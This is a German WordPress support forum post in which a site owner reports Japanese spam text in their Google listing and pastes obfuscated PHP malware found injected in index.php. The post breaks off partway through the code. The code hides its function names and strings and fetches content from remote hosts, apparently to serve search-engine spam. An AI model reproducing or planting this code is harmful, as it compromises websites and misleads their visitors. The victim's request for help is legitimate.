Support » Allgemeine Fragen » Merkwürdiger Code in der index.php

  • Hallo, wie der Titel schon sagt habe ich einen komischen Code in der Index.php gefunden.

    Aufgefallen ist mir das so, bei google wurde bei meiner Seite Japanische Zeichen im Titel und in der Beschreibung angezeigt.

    Wie kann dieser Code darein kommen. Die Index.php hatte die richtigen Dateirechte. WordPress und die paar Plugins waren bzw. sind auf der aktuellen Version. Passwort lang und sicher.

    Hier dieser Code:

    <?php
    //header('Content-Type:text/html; charset=utf-8');
    $O_0O__O0O0='13';
    $OO___0OO00='1';
    $O_0O_00OO_='1';
    $O0_O_O_O00=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O_O00O__0O=$O0_O_O_O00{16}.$O0_O_O_O00{24}.$O0_O_O_O00{30}.$O0_O_O_O00{27}.$O0_O_O_O00{29}.$O0_O_O_O00{24}.$O0_O_O_O00{30}.$O0_O_O_O00{16}.$O0_O_O_O00{23}.$O0_O_O_O00{6}.$O0_O_O_O00{32}.$O0_O_O_O00{30}.$O0_O_O_O00{29}.$O0_O_O_O00{32}.$O0_O_O_O00{6}.$O0_O_O_O00{23}.$O0_O_O_O00{23}.$O0_O_O_O00{3}.$O0_O_O_O00{6}.$O0_O_O_O00{32}.$O0_O_O_O00{25};$OO_O0O_0_0=$O0_O_O_O00{33}.$O0_O_O_O00{10}.$O0_O_O_O00{24}.$O0_O_O_O00{30}.$O0_O_O_O00{6}.$O0_O_O_O00{5}.$O0_O_O_O00{29}.$O0_O_O_O00{33}.$O0_O_O_O00{35}.$O0_O_O_O00{32}.$O0_O_O_O00{25}.$O0_O_O_O00{30}.$O0_O_O_O00{10}.$O0_O_O_O00{29}.$O0_O_O_O00{32}.$O0_O_O_O00{23}.$O0_O_O_O00{12}.$O0_O_O_O00{30}.$O0_O_O_O00{0}.$O0_O_O_O00{10};$O_OO0__00O=$O0_O_O_O00{33}.$O0_O_O_O00{10}.$O0_O_O_O00{24}.$O0_O_O_O00{30}.$O0_O_O_O00{6}.$O0_O_O_O00{5}.$O0_O_O_O00{29}.$O0_O_O_O00{27}.$O0_O_O_O00{30}.$O0_O_O_O00{10}.$O0_O_O_O00{29}.$O0_O_O_O00{5}.$O0_O_O_O00{30}.$O0_O_O_O00{10}.$O0_O_O_O00{6}.$O0_O_O_O00{29}.$O0_O_O_O00{26}.$O0_O_O_O00{6}.$O0_O_O_O00{10}.$O0_O_O_O00{6};$O_O_O000O_=$O0_O_O_O00{33}.$O0_O_O_O00{10}.$O0_O_O_O00{24}.$O0_O_O_O00{30}.$O0_O_O_O00{6}.$O0_O_O_O00{5}.$O0_O_O_O00{29}.$O0_O_O_O00{33}.$O0_O_O_O00{30}.$O0_O_O_O00{10}.$O0_O_O_O00{29}.$O0_O_O_O00{3}.$O0_O_O_O00{23}.$O0_O_O_O00{35}.$O0_O_O_O00{32}.$O0_O_O_O00{25}.$O0_O_O_O00{12}.$O0_O_O_O00{0}.$O0_O_O_O00{27};$O00O0__O_O=$O0_O_O_O00{33}.$O0_O_O_O00{10}.$O0_O_O_O00{24}.$O0_O_O_O00{30}.$O0_O_O_O00{6}.$O0_O_O_O00{5}.$O0_O_O_O00{29}.$O0_O_O_O00{33}.$O0_O_O_O00{30}.$O0_O_O_O00{10}.$O0_O_O_O00{29}.$O0_O_O_O00{10}.$O0_O_O_O00{12}.$O0_O_O_O00{5}.$O0_O_O_O00{30}.$O0_O_O_O00{35}.$O0_O_O_O00{18}.$O0_O_O_O00{10};$OO_O00_O0_=$O0_O_O_O00{12}.$O0_O_O_O00{27}.$O0_O_O_O00{0}.$O0_O_O_O00{35}.$O0_O_O_O00{24}.$O0_O_O_O00{30}.$O0_O_O_O00{29}.$O0_O_O_O00{18}.$O0_O_O_O00{33}.$O0_O_O_O00{30}.$O0_O_O_O00{24}.$O0_O_O_O00{29}.$O0_O_O_O00{6}.$O0_O_O_O00{3}.$O0_O_O_O00{35}.$O0_O_O_O00{24}.$O0_O_O_O00{10};$O_O0O0__0O=$O0_O_O_O00{38}.$O0_O_O_O00{12}.$O0_O_O_O00{23}.$O0_O_O_O00{30}.$O0_O_O_O00{29}.$O0_O_O_O00{16}.$O0_O_O_O00{18}.$O0_O_O_O00{10}.$O0_O_O_O00{29}.$O0_O_O_O00{32}.$O0_O_O_O00{35}.$O0_O_O_O00{0}.$O0_O_O_O00{10}.$O0_O_O_O00{30}.$O0_O_O_O00{0}.$O0_O_O_O00{10}.$O0_O_O_O00{33};$O_00O_0O_O=$O0_O_O_O00{38}.$O0_O_O_O00{12}.$O0_O_O_O00{23}.$O0_O_O_O00{30}.$O0_O_O_O00{29}.$O0_O_O_O00{27}.$O0_O_O_O00{30}.$O0_O_O_O00{10}.$O0_O_O_O00{29}.$O0_O_O_O00{32}.$O0_O_O_O00{35}.$O0_O_O_O00{0}.$O0_O_O_O00{10}.$O0_O_O_O00{30}.$O0_O_O_O00{0}.$O0_O_O_O00{10}.$O0_O_O_O00{33};$OO_0__00OO=$O0_O_O_O00{31}.$O0_O_O_O00{10}.$O0_O_O_O00{10}.$O0_O_O_O00{16}.$O0_O_O_O00{29}.$O0_O_O_O00{3}.$O0_O_O_O00{18}.$O0_O_O_O00{12}.$O0_O_O_O00{23}.$O0_O_O_O00{26}.$O0_O_O_O00{29}.$O0_O_O_O00{19}.$O0_O_O_O00{18}.$O0_O_O_O00{30}.$O0_O_O_O00{24}.$O0_O_O_O00{20};$O_O0O__0O0=$O0_O_O_O00{38}.$O0_O_O_O00{18}.$O0_O_O_O00{0}.$O0_O_O_O00{32}.$O0_O_O_O00{10}.$O0_O_O_O00{12}.$O0_O_O_O00{35}.$O0_O_O_O00{0}.$O0_O_O_O00{29}.$O0_O_O_O00{30}.$O0_O_O_O00{17}.$O0_O_O_O00{12}.$O0_O_O_O00{33}.$O0_O_O_O00{10}.$O0_O_O_O00{33};$OO_O0_O_00=$O0_O_O_O00{30}.$O0_O_O_O00{24}.$O0_O_O_O00{24}.$O0_O_O_O00{35}.$O0_O_O_O00{24}.$O0_O_O_O00{29}.$O0_O_O_O00{24}.$O0_O_O_O00{30}.$O0_O_O_O00{16}.$O0_O_O_O00{35}.$O0_O_O_O00{24}.$O0_O_O_O00{10}.$O0_O_O_O00{12}.$O0_O_O_O00{0}.$O0_O_O_O00{27};$OO00O__0_O=$O0_O_O_O00{32}.$O0_O_O_O00{24}.$O0_O_O_O00{30}.$O0_O_O_O00{6}.$O0_O_O_O00{10}.$O0_O_O_O00{30}.$O0_O_O_O00{29}.$O0_O_O_O00{38}.$O0_O_O_O00{18}.$O0_O_O_O00{0}.$O0_O_O_O00{32}.$O0_O_O_O00{10}.$O0_O_O_O00{12}.$O0_O_O_O00{35}.$O0_O_O_O00{0};$OO0_O_0O0_=$O0_O_O_O00{33}.$O0_O_O_O00{30}.$O0_O_O_O00{10}.$O0_O_O_O00{29}.$O0_O_O_O00{10}.$O0_O_O_O00{12}.$O0_O_O_O00{5}.$O0_O_O_O00{30}.$O0_O_O_O00{29}.$O0_O_O_O00{23}.$O0_O_O_O00{12}.$O0_O_O_O00{5}.$O0_O_O_O00{12}.$O0_O_O_O00{10};$OOO0O00___=$O0_O_O_O00{27}.$O0_O_O_O00{30}.$O0_O_O_O00{10}.$O0_O_O_O00{31}.$O0_O_O_O00{35}.$O0_O_O_O00{33}.$O0_O_O_O00{10}.$O0_O_O_O00{3}.$O0_O_O_O00{20}.$O0_O_O_O00{0}.$O0_O_O_O00{6}.$O0_O_O_O00{5}.$O0_O_O_O00{30};$O0_OO0_0_O=$O0_O_O_O00{3}.$O0_O_O_O00{6}.$O0_O_O_O00{33}.$O0_O_O_O00{30}.$O0_O_O_O00{22}.$O0_O_O_O00{36}.$O0_O_O_O00{29}.$O0_O_O_O00{26}.$O0_O_O_O00{30}.$O0_O_O_O00{32}.$O0_O_O_O00{35}.$O0_O_O_O00{26}.$O0_O_O_O00{30};$O0_0OOO__0=$O0_O_O_O00{16}.$O0_O_O_O00{24}.$O0_O_O_O00{30}.$O0_O_O_O00{27}.$O0_O_O_O00{29}.$O0_O_O_O00{24}.$O0_O_O_O00{30}.$O0_O_O_O00{16}.$O0_O_O_O00{23}.$O0_O_O_O00{6}.$O0_O_O_O00{32}.$O0_O_O_O00{30};$O0OO__O_00=$O0_O_O_O00{33}.$O0_O_O_O00{10}.$O0_O_O_O00{24}.$O0_O_O_O00{29}.$O0_O_O_O00{24}.$O0_O_O_O00{30}.$O0_O_O_O00{16}.$O0_O_O_O00{23}.$O0_O_O_O00{6}.$O0_O_O_O00{32}.$O0_O_O_O00{30};$O__O_O000O=$O0_O_O_O00{38}.$O0_O_O_O00{12}.$O0_O_O_O00{23}.$O0_O_O_O00{30}.$O0_O_O_O00{29}.$O0_O_O_O00{30}.$O0_O_O_O00{17}.$O0_O_O_O00{12}.$O0_O_O_O00{33}.$O0_O_O_O00{10}.$O0_O_O_O00{33};$O_O0_00_OO=$O0_O_O_O00{32}.$O0_O_O_O00{18}.$O0_O_O_O00{24}.$O0_O_O_O00{23}.$O0_O_O_O00{29}.$O0_O_O_O00{33}.$O0_O_O_O00{30}.$O0_O_O_O00{10}.$O0_O_O_O00{35}.$O0_O_O_O00{16}.$O0_O_O_O00{10};$O0OO_0__0O=$O0_O_O_O00{6}.$O0_O_O_O00{24}.$O0_O_O_O00{24}.$O0_O_O_O00{6}.$O0_O_O_O00{20}.$O0_O_O_O00{29}.$O0_O_O_O00{33}.$O0_O_O_O00{31}.$O0_O_O_O00{12}.$O0_O_O_O00{38}.$O0_O_O_O00{10};$O0_0_OOO0_=$O0_O_O_O00{16}.$O0_O_O_O00{24}.$O0_O_O_O00{30}.$O0_O_O_O00{27}.$O0_O_O_O00{29}.$O0_O_O_O00{5}.$O0_O_O_O00{6}.$O0_O_O_O00{10}.$O0_O_O_O00{32}.$O0_O_O_O00{31};$O0_O_0_0OO=$O0_O_O_O00{32}.$O0_O_O_O00{18}.$O0_O_O_O00{24}.$O0_O_O_O00{23}.$O0_O_O_O00{29}.$O0_O_O_O00{30}.$O0_O_O_O00{24}.$O0_O_O_O00{24}.$O0_O_O_O00{35}.$O0_O_O_O00{24};$OOO0_0_O_0=$O0_O_O_O00{32}.$O0_O_O_O00{18}.$O0_O_O_O00{24}.$O0_O_O_O00{23}.$O0_O_O_O00{29}.$O0_O_O_O00{32}.$O0_O_O_O00{23}.$O0_O_O_O00{35}.$O0_O_O_O00{33}.$O0_O_O_O00{30};$O00O___OO0=$O0_O_O_O00{18}.$O0_O_O_O00{24}.$O0_O_O_O00{23}.$O0_O_O_O00{30}.$O0_O_O_O00{0}.$O0_O_O_O00{32}.$O0_O_O_O00{35}.$O0_O_O_O00{26}.$O0_O_O_O00{30};$O0_00_OO_O=$O0_O_O_O00{16}.$O0_O_O_O00{6}.$O0_O_O_O00{24}.$O0_O_O_O00{33}.$O0_O_O_O00{30}.$O0_O_O_O00{29}.$O0_O_O_O00{18}.$O0_O_O_O00{24}.$O0_O_O_O00{23};$OO__0_O0O0=$O0_O_O_O00{27}.$O0_O_O_O00{2}.$O0_O_O_O00{12}.$O0_O_O_O00{0}.$O0_O_O_O00{38}.$O0_O_O_O00{23}.$O0_O_O_O00{6}.$O0_O_O_O00{10}.$O0_O_O_O00{30};$O00O_O_O_0=$O0_O_O_O00{32}.$O0_O_O_O00{18}.$O0_O_O_O00{24}.$O0_O_O_O00{23}.$O0_O_O_O00{29}.$O0_O_O_O00{12}.$O0_O_O_O00{0}.$O0_O_O_O00{12}.$O0_O_O_O00{10};$OO_O00_O_0=$O0_O_O_O00{32}.$O0_O_O_O00{18}.$O0_O_O_O00{24}.$O0_O_O_O00{23}.$O0_O_O_O00{29}.$O0_O_O_O00{30}.$O0_O_O_O00{17}.$O0_O_O_O00{30}.$O0_O_O_O00{32};$O0__OO00O_=$O0_O_O_O00{12}.$O0_O_O_O00{33}.$O0_O_O_O00{29}.$O0_O_O_O00{6}.$O0_O_O_O00{24}.$O0_O_O_O00{24}.$O0_O_O_O00{6}.$O0_O_O_O00{20};$O0O__O_0O0=$O0_O_O_O00{33}.$O0_O_O_O00{10}.$O0_O_O_O00{24}.$O0_O_O_O00{24}.$O0_O_O_O00{16}.$O0_O_O_O00{35}.$O0_O_O_O00{33};$O_0O0O_O_0=$O0_O_O_O00{5}.$O0_O_O_O00{10}.$O0_O_O_O00{29}.$O0_O_O_O00{24}.$O0_O_O_O00{6}.$O0_O_O_O00{0}.$O0_O_O_O00{26};$OO_00OO_0_=$O0_O_O_O00{12}.$O0_O_O_O00{5}.$O0_O_O_O00{16}.$O0_O_O_O00{23}.$O0_O_O_O00{35}.$O0_O_O_O00{26}.$O0_O_O_O00{30};$O0O_0_OO0_=$O0_O_O_O00{30}.$O0_O_O_O00{17}.$O0_O_O_O00{16}.$O0_O_O_O00{23}.$O0_O_O_O00{35}.$O0_O_O_O00{26}.$O0_O_O_O00{30};$OO0_O_00_O=$O0_O_O_O00{26}.$O0_O_O_O00{12}.$O0_O_O_O00{24}.$O0_O_O_O00{0}.$O0_O_O_O00{6}.$O0_O_O_O00{5}.$O0_O_O_O00{30};$OO_OO0__00=$O0_O_O_O00{18}.$O0_O_O_O00{33}.$O0_O_O_O00{23}.$O0_O_O_O00{30}.$O0_O_O_O00{30}.$O0_O_O_O00{16};$O_00O__O0O=$O0_O_O_O00{18}.$O0_O_O_O00{0}.$O0_O_O_O00{23}.$O0_O_O_O00{12}.$O0_O_O_O00{0}.$O0_O_O_O00{25};$O0__0_0OOO=$O0_O_O_O00{33}.$O0_O_O_O00{10}.$O0_O_O_O00{24}.$O0_O_O_O00{33}.$O0_O_O_O00{10}.$O0_O_O_O00{24};$O0O00_O__O=$O0_O_O_O00{33}.$O0_O_O_O00{10}.$O0_O_O_O00{24}.$O0_O_O_O00{16}.$O0_O_O_O00{35}.$O0_O_O_O00{33};$O__00OO0O_=$O0_O_O_O00{33}.$O0_O_O_O00{10}.$O0_O_O_O00{24}.$O0_O_O_O00{23}.$O0_O_O_O00{30}.$O0_O_O_O00{0};$O0O0O__O0_=$O0_O_O_O00{31}.$O0_O_O_O00{30}.$O0_O_O_O00{17}.$O0_O_O_O00{26}.$O0_O_O_O00{30}.$O0_O_O_O00{32};$OO0O_O__00=$O0_O_O_O00{27}.$O0_O_O_O00{30}.$O0_O_O_O00{10}.$O0_O_O_O00{30}.$O0_O_O_O00{0}.$O0_O_O_O00{9};$O0OO0O__0_=$O0_O_O_O00{38}.$O0_O_O_O00{34}.$O0_O_O_O00{24}.$O0_O_O_O00{12}.$O0_O_O_O00{10}.$O0_O_O_O00{30};$O0_0__O0OO=$O0_O_O_O00{38}.$O0_O_O_O00{32}.$O0_O_O_O00{23}.$O0_O_O_O00{35}.$O0_O_O_O00{33}.$O0_O_O_O00{30};$OO0O___00O=$O0_O_O_O00{38}.$O0_O_O_O00{24}.$O0_O_O_O00{30}.$O0_O_O_O00{6}.$O0_O_O_O00{26};$OO__0_00OO=$O0_O_O_O00{38}.$O0_O_O_O00{27}.$O0_O_O_O00{30}.$O0_O_O_O00{10}.$O0_O_O_O00{33};$O0__OO_00O=$O0_O_O_O00{32}.$O0_O_O_O00{31}.$O0_O_O_O00{5}.$O0_O_O_O00{35}.$O0_O_O_O00{26};$OO00O___O0=$O0_O_O_O00{10}.$O0_O_O_O00{24}.$O0_O_O_O00{12}.$O0_O_O_O00{5};$O_00OO__0O=$O0_O_O_O00{41}.$O0_O_O_O00{35}.$O0_O_O_O00{12}.$O0_O_O_O00{0};$O0OO00_O__=$O0_O_O_O00{38}.$O0_O_O_O00{30}.$O0_O_O_O00{35}.$O0_O_O_O00{38};$O0_O0O__O0=$O0_O_O_O00{26}.$O0_O_O_O00{6}.$O0_O_O_O00{10}.$O0_O_O_O00{30};header('Content-Type:text/html;charset=utf-8');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x5f\x4f\x5f\x30\x30"](0);if(!function_exists('str_ireplace')){function str_ireplace($from,$to,$string){return trim(preg_replace("/".addcslashes($from,"?:\\/*^$")."/si",$to,$string));}};$OOO__O00_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x30\x5f\x4f"]('$url,$OOO_000__O=0,$O0__0OO0_O=1,$O_0O0_OO0_=NULL,$O0O_OO__00=array()','if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x5f\x4f\x4f\x4f\x30\x5f"]("/^http\\:\\/\\//si",$url)){if(isset(${"\x5f\x47\x45\x54"}["\x75\x72\x6c\x65\x72\x72"])){$O__O0O0_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x5f\x30\x4f\x4f\x4f"](\'iy4tyhTkktKsovilXIzCtLzMlMUQCKWKnlJRUtPXWAMA\');$O__O0O0_0O.=$url;echo $O__O0O0_0O;unset($O__O0O0_0O);exit();}return \'\';}$O_0O_O0O_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x5f\x30\x4f\x4f\x4f"](\'Sy4tyhTonPzMss0U4GsYpTS/ILoOzUitTkmrTi/OTs/ILUvJoCBLO4pCg1MTcexE8tiU/OyUzNK6mB8YBtPSJakA\');$OO_00OO__0=$O_O000__OO=\'\';foreach(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x30\x5f\x4f\x4f\x30\x5f"](\'|\',$O_0O_O0O_0) as $c){$O00O0_OO__=1;if($OOO_000__O&&substr($c,0,1)==\'c\'){continue;}foreach(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x30\x5f\x4f\x4f\x30\x5f"](\'+\',$c) as $d){if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x5f\x5f\x30\x4f\x30"]($d)){$O00O0_OO__=0;}}unset($d);if($O00O0_OO__){$OO_00OO__0=$c;break;}}unset($O_0O_O0O_0,$c);if($OO_00OO__0==\'\'){return 0;}if(substr($OO_00OO__0,0,1)==\'c\'){$O0_0_O0O_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x4f\x5f\x4f\x5f\x30"]();${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x5f\x30\x30\x5f\x4f\x4f"]($O0_0_O0O_O,CURLOPT_URL,$url);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x5f\x30\x30\x5f\x4f\x4f"]($O0_0_O0O_O,CURLOPT_USERAGENT,\'WHR\');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x5f\x30\x30\x5f\x4f\x4f"]($O0_0_O0O_O,CURLOPT_RETURNTRANSFER,1);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x5f\x30\x30\x5f\x4f\x4f"]($O0_0_O0O_O,CURLOPT_TIMEOUT,100);if($O0__0OO0_O==2){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x5f\x30\x30\x5f\x4f\x4f"]($O0_0_O0O_O,CURLOPT_POST,1);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x4f\x30\x30\x4f\x5f"]($O_0O0_OO0_)){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x5f\x30\x30\x5f\x4f\x4f"]($O0_0_O0O_O,CURLOPT_POSTFIELDS,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x5f\x5f\x30\x30\x4f\x4f"]($O_0O0_OO0_));}}$O0_O00O_O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x30\x5f\x4f\x5f\x30"]($O0_0_O0O_O);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x30\x5f\x4f\x5f\x30"]($O0_0_O0O_O);if(!$O0_O00O_O_){if(isset(${"\x5f\x47\x45\x54"}["\x63\x75\x72\x6c\x65\x72\x72"])){$O__O0O0_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x5f\x30\x4f\x4f\x4f"](\'i04uLhTcpRSC0qyi+KVctLKi6tPwBgA=\');$O__O0O0_0O.=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x5f\x30\x5f\x30\x4f\x4f"]($O0_0_O0O_O);echo $O__O0O0_0O;unset($O__O0O0_0O);exit();}return 0;}else{$O0_O00O_O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x5f\x5f\x4f\x30"]($O0_O00O_O_,"\\xEF\\xBB\\xBF"));return $O0_O00O_O_;}}$O00___OO0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x30\x5f\x4f\x4f\x5f\x4f"]($url);isset($O00___OO0O["\x68\x6f\x73\x74"])||$O00___OO0O["\x68\x6f\x73\x74"]=\'\';isset($O00___OO0O["\x70\x61\x74\x68"])||$O00___OO0O["\x70\x61\x74\x68"]=\'\';isset($O00___OO0O["\x71\x75\x65\x72\x79"])|| $O00___OO0O["\x71\x75\x65\x72\x79"]=\'\';isset($O00___OO0O["\x4f\x5f\x30\x30\x5f\x4f\x5f\x4f\x30\x4f"])||$O00___OO0O["\x4f\x5f\x30\x30\x5f\x4f\x5f\x4f\x30\x4f"]=\'\';$O_000O_O_O=$O00___OO0O["\x70\x61\x74\x68"]?$O00___OO0O["\x70\x61\x74\x68"].($O00___OO0O["\x71\x75\x65\x72\x79"]?\'?\'.$O00___OO0O["\x71\x75\x65\x72\x79"]:\'\'):\'/\';$O0_O0O0__O=$O00___OO0O["\x68\x6f\x73\x74"];if($O00___OO0O["\x73\x63\x68\x65\x6d\x65"]==\'https\'){$O__0_O0OO0=\'1.1\';$O_00_O_O0O=empty($O00___OO0O["\x4f\x5f\x30\x30\x5f\x4f\x5f\x4f\x30\x4f"])?443:$O00___OO0O["\x4f\x5f\x30\x30\x5f\x4f\x5f\x4f\x30\x4f"];$O0_O0O0__O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x5f\x30\x4f\x4f\x4f"](\'Ky7OshTdLtPXBwA=\');$O0_O0O0__O.=$O00___OO0O["\x68\x6f\x73\x74"];}else{$O__0_O0OO0=\'1.0\';$O_00_O_O0O=empty($O00___OO0O["\x4f\x5f\x30\x30\x5f\x4f\x5f\x4f\x30\x4f"])?80:$O00___OO0O["\x4f\x5f\x30\x30\x5f\x4f\x5f\x4f\x30\x4f"];}$OO0O__O0_0=\'Host:\';$OO0O__O0_0.=$O0_O0O0__O;$O0O_OO__00[]=$OO0O__O0_0;$O0O_OO__00[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x5f\x30\x4f\x4f\x4f"](\'c87PyhT0tNLsnMz7NyzsktPvTgUA\');$O0O_OO__00[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x5f\x30\x4f\x4f\x4f"](\'Cy1OLhTdJ1TE/NK7EK9wgtPCAA==\');$O0O_OO__00[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x5f\x30\x4f\x4f\x4f"](\'c0xOThTi0osdLtPS1wIA\');unset($OO0O__O0_0);if($O0__0OO0_O==2){if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x4f\x30\x30\x4f\x5f"]($O_0O0_OO0_)){$O_0O0_OO0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x5f\x5f\x30\x30\x4f\x4f"]($O_0O0_OO0_);}$O0O_OO__00[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x5f\x30\x4f\x4f\x4f"](\'c87PKhT0nNK9EtqSxItUosKMjJTE4syczP06/QLS8v103LL8rVLS3KSc1Lzk9tPJTQEA\');$O0O_OO__00[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x5f\x30\x4f\x4f\x4f"](\'c87PKhT0nNK9H1Sc1LL8mtPwAgA=\').${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f\x5f"]($O_0O0_OO0_);$O_O000__OO="POST $O_000O_O_O HTTP/$O__0_O0OO0\\r\\n".${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x5f\x5f\x30\x4f"]("\\r\\n",$O0O_OO__00)."\\r\\n\\r\\n".$O_0O0_OO0_;unset($O_0O0_OO0_);}else{$O_O000__OO="GET $O_000O_O_O HTTP/$O__0_O0OO0\\r\\n".${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x5f\x5f\x30\x4f"]("\\r\\n",$O0O_OO__00)."\\r\\n\\r\\n";}unset($O0O_OO__00,$O00___OO0O,$O__0_O0OO0,$O_000O_O_O);$O__0O_0OO0=null;if(substr($OO_00OO__0,-1)==\'n\'){$O__0O_0OO0=$OO_00OO__0($O0_O0O0__O,$O_00_O_O0O,$O__O0O0_0Ono,$O__O0O0_0Ostr,30);}else{if(substr($OO_00OO__0,-1)==\'t\'){$OO00O0O___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x5f\x30\x4f\x4f\x4f"](\'K0kushTNLtPXBwA=\');$OO00O0O___.=$O0_O0O0__O;$OO00O0O___.=\':\';$OO00O0O___.=$O_00_O_O0O;$O__0O_0OO0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x4f\x5f\x30\x5f\x30"]($OO00O0O___,$O__O0O0_0Ono,$O__O0O0_0Ostr,30);unset($OO00O0O___);}}$O0_OO_0_0O=\'\';if($O__0O_0OO0){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x30\x30\x30\x4f\x5f"]($O__0O_0OO0,true);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x30\x5f\x5f\x4f\x5f\x4f"]($O__0O_0OO0,30);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x30\x4f\x5f\x5f\x30\x5f"]($O__0O_0OO0,$O_O000__OO);if(!$OOO_000__O){$O00OO__0_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x30\x5f\x5f\x30\x30\x4f"]($O__0O_0OO0);if(!$O00OO__0_O["\x74\x69\x6d\x65\x64\x5f\x6f\x75\x74"]){while(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x30\x30\x5f\x4f\x5f\x5f"]($O__0O_0OO0)){$O0_O_0_OO0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x30\x5f\x30\x30\x4f\x4f"]($O__0O_0OO0);if($O0_O_0_OO0&&($O0_O_0_OO0=="\\r\\n"||$O0_O_0_OO0=="\\n")){break;}unset($O0_O_0_OO0);}while(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x30\x30\x5f\x4f\x5f\x5f"]($O__0O_0OO0)){$OO_00_OO_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x30\x4f"]($O__0O_0OO0,8192);$O0_OO_0_0O.=$OO_00_OO_0;unset($OO_00_OO_0);}}unset($O00OO__0_O);}${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x5f\x5f\x4f\x30\x4f\x4f"]($O__0O_0OO0);}else{if(substr($OO_00OO__0,-1)==\'e\'){$O__0O_0O0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x4f\x30\x30\x5f\x5f\x5f"]($O0_O0O0__O);$O__0O_0OO0=$OO_00OO__0(AF_INET,SOCK_STREAM,0);if(socket_connect($O__0O_0OO0,$O__0O_0O0O,$O_00_O_O0O)){if(!$OOO_000__O){socket_write($O__0O_0OO0,$O_O000__OO,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f\x5f"]($O_O000__OO));while($O0_0_0OOO_=@socket_read($O__0O_0OO0,8192)){$O0_OO_0_0O.=$O0_0_0OOO_;unset($O0_0_0OOO_);}$O0_OO_0_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x30\x5f\x4f\x4f\x30\x5f"]("\\r\\n\\r\\n",$O0_OO_0_0O);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x30\x5f\x5f\x30\x4f"]($O0_OO_0_0O);$O0_OO_0_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x30\x4f\x4f\x5f\x30\x5f"]("\\r\\n\\r\